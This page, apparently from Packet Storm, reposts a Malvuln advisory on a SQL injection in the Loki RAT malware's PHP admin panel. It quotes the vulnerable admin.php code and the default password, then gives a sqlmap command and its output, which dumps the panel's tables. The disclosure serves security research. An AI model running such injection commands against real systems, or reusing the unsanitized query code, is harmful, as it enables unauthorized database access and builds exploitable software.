exploit the possibilities
Home Files News &[SERVICES_TAB]About Contact Add New

Loki MVID-2022-0510 RAT (Relapse) SQL Injection

Loki MVID-2022-0510 RAT (Relapse) SQL Injection
Posted Mar 7, 2022
Authored by malvuln | Site malvuln.com

Loki RAT (Relapse) malware suffers from a remote SQL injection vulnerability.

tags | exploit, remote, sql injection
SHA-256 | f360a43787cda78af10420bd09311081fb3ab92487cc4daa8023042cf53e285d

Loki MVID-2022-0510 RAT (Relapse) SQL Injection

Change Mirror Download
Discovery / credits: Malvuln - malvuln.com (c) 2022
Original source: https://malvuln.com/advisory/aabb54951546132e70a8e9f02bf8b5ba_B.txt
Contact: malvuln13@gmail.com
Media: twitter.com/malvuln

Threat: Loki RAT (Relapse)
Vulnerability: SQL Injection
Description: The LokiRAT WebUI panel for LokiRAT_Relapse.exe runs on PHP and MySQL and is used to control infected hosts through a central server.
The backend server side code "admin.php" does not use any secure coding practices nor does it sanitize or filter user input when constructing MySQL statements.

Loki admin.php takes four parameter's pass, command, id and type. There's an auth check using $_GET['pass'] against the clear-text password "test" in settings.php.

The $_GET['id'] parameter is used directly in SELECT * FROM vircom WHERE id='$id' statement used in mysql_query() func, making it vulnerable to post-auth SQL Injection.
Authenticated users or third-party attackers who can guess the password can easily dump all databases, tables and contents including the MySQL database schema.

admin.php snippet:

if ($_GET['pass'] == $password) {
$command = $_REQUEST['command'];
$id = $_GET['id'];
$type = $_GET['type'];
....

case "response":
$query = mysql_query("SELECT * FROM vircom WHERE id='$id'");
$row = mysql_fetch_array($query);
echo $row['retCommandNum'] . "{-}" . $row['retCommand'] . "{-}" . $row['lastUpdate'] . "{-}" . $row['updateInterval'];
break;

Family: Loki
Type: WebUI
MD5: aabb54951546132e70a8e9f02bf8b5ba
MD5: 16c33e28c8c9b3ea71249ad94be4bf94 (admin.php)
Vuln ID: MVID-2022-0510
Disclosure: 03/05/2022

Exploit/PoC:
sqlmap.py -u "http://LOKI-RAT-IP/PHP%20Files/admin.php?pass=test&command=webcam&id=1&type=response" --dbms=MySQL --risk=3 --level=5 --dump

[21:06:25] [INFO] GET parameter 'id' is 'Generic UNION query (NULL) - 1 to 20 columns' injectable
GET parameter 'id' is vulnerable. Do you want to keep testing the others (if any)? [y/N] N
sqlmap identified the following injection point(s) with a total of 11385 HTTP(s) requests:
...

back-end DBMS: MySQL >= 5.0.12
[21:06:57] [WARNING] missing database parameter. sqlmap is going to use the current database to enumerate table(s) entries
[21:06:57] [INFO] fetching current database
[21:06:57] [INFO] fetching tables for database: 'lokirat2'
[21:06:57] [INFO] the SQL query used returns 2 entries
[21:06:57] [INFO] retrieved: klcom
[21:06:57] [INFO] retrieved: vircom
[21:06:57] [INFO] fetching columns for table 'vircom' in database 'lokirat2'
[21:06:57] [INFO] the SQL query used returns 13 entries
[21:06:57] [INFO] retrieved: "id","varchar(12)"
[21:06:57] [INFO] retrieved: "ipAddress","varchar(15)"
[21:06:57] [INFO] retrieved: "location","varchar(255)"
[21:06:57] [INFO] retrieved: "compName","varchar(30)"
[21:06:57] [INFO] retrieved: "operatingSystem","varchar(100)"
[21:06:57] [INFO] retrieved: "command","text"
[21:06:57] [INFO] retrieved: "retCommand","text"
[21:06:57] [INFO] retrieved: "retCommandNum","int(11)"
[21:06:57] [INFO] retrieved: "lastUpdate","datetime"
[21:06:57] [INFO] retrieved: "updateInterval","int(9)"
[21:06:57] [INFO] retrieved: "ramMemory","varchar(50)"
[21:06:57] [INFO] retrieved: "processor","varchar(255)"
[21:06:57] [INFO] retrieved: "webcam","int(1)"
[21:06:57] [INFO] fetching entries for table 'vircom' in database 'lokirat2'
[21:06:57] [INFO] the SQL query used returns 1 entries
[21:06:57] [INFO] analyzing table dump for possible password hashes
Database: lokirat2
Table: vircom
[1 entry]
+----+--------+---------+----------+--------------+-----------+-----------+-----------+---------------------+------------+---------------+----------------+-----------------+
| id | webcam | command | compName | location | processor | ramMemory | ipAddress | lastUpdate | retCommand | retCommandNum | updateInterval | operatingSystem |
+----+--------+---------+----------+--------------+-----------+-----------+-----------+---------------------+------------+---------------+----------------+-----------------+
| 1 | 1 | melt | Hate | New York USA | Intel64 | 15gb | 10.2.1.3 | 2022-03-05 02:43:34 | doit | 666 | 0 | Windows |
+----+--------+---------+----------+--------------+-----------+-----------+-----------+---------------------+------------+---------------+----------------+-----------------+

[21:06:57] [INFO] table 'lokirat2.vircom' dumped to CSV file 'C:\Users\Victim\.sqlmap\output\127.0.0.1\dump\lokirat2\vircom.csv'
[21:06:57] [INFO] fetching columns for table 'klcom' in database 'lokirat2'
[21:06:57] [INFO] the SQL query used returns 3 entries
[21:06:57] [INFO] retrieved: "id","varchar(15)"
[21:06:57] [INFO] retrieved: "kldata","text"
[21:06:57] [INFO] retrieved: "dateTime","datetime"
[21:06:57] [INFO] fetching entries for table 'klcom' in database 'lokirat2'
[21:06:57] [INFO] the SQL query used returns 1 entries
[21:06:57] [INFO] analyzing table dump for possible password hashes
Database: lokirat2
Table: klcom
[1 entry]
+----+----------------+---------------------+
| id | kldata | dateTime |
+----+----------------+---------------------+
| 1 | KILL PUTIN | 2022-03-05 02:42:59 |
+----+----------------+---------------------+

[21:06:57] [INFO] table 'lokirat2.klcom' dumped to CSV file 'C:\Users\Victim\.sqlmap\output\127.0.0.1\dump\lokirat2\klcom.csv'
[21:06:57] [INFO] fetched data logged to text files under 'C:\Users\Victim\.sqlmap\output\127.0.0.1'

[*] shutting down at 21:06:57

Disclaimer: The information contained within this advisory is supplied "as-is" with no warranties or guarantees of fitness of use or otherwise. Permission is hereby granted for the redistribution of this advisory, provided that it is not altered except by reformatting it, and that due credit is given. Permission is explicitly given for insertion in vulnerability databases and similar, provided that due credit is given to the author. The author is not responsible for any misuse of the information contained herein and accepts no responsibility for any damage caused by the use or misuse of this information. The author prohibits any malicious use of security related information or exploits by the author or elsewhere. Do not attempt to download Malware samples. The author of this website takes no responsibility for any kind of damages occurring from improper Malware handling or the downloading of ANY Malware mentioned on this website or elsewhere. All content Copyright (c) Malvuln.com (TM).
Login or Register to add favorites

File Archive:

August 2022

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Aug 1st
    20 Files
  • 2
    Aug 2nd
    4 Files
  • 3
    Aug 3rd
    6 Files
  • 4
    Aug 4th
    55 Files
  • 5
    Aug 5th
    16 Files
  • 6
    Aug 6th
    0 Files
  • 7
    Aug 7th
    0 Files
  • 8
    Aug 8th
    13 Files
  • 9
    Aug 9th
    13 Files
  • 10
    Aug 10th
    34 Files
  • 11
    Aug 11th
    0 Files
  • 12
    Aug 12th
    0 Files
  • 13
    Aug 13th
    0 Files
  • 14
    Aug 14th
    0 Files
  • 15
    Aug 15th
    0 Files
  • 16
    Aug 16th
    0 Files
  • 17
    Aug 17th
    0 Files
  • 18
    Aug 18th
    0 Files
  • 19
    Aug 19th
    0 Files
  • 20
    Aug 20th
    0 Files
  • 21
    Aug 21st
    0 Files
  • 22
    Aug 22nd
    0 Files
  • 23
    Aug 23rd
    0 Files
  • 24
    Aug 24th
    0 Files
  • 25
    Aug 25th
    0 Files
  • 26
    Aug 26th
    0 Files
  • 27
    Aug 27th
    0 Files
  • 28
    Aug 28th
    0 Files
  • 29
    Aug 29th
    0 Files
  • 30
    Aug 30th
    0 Files
  • 31
    Aug 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Hosting By
Rokasec
close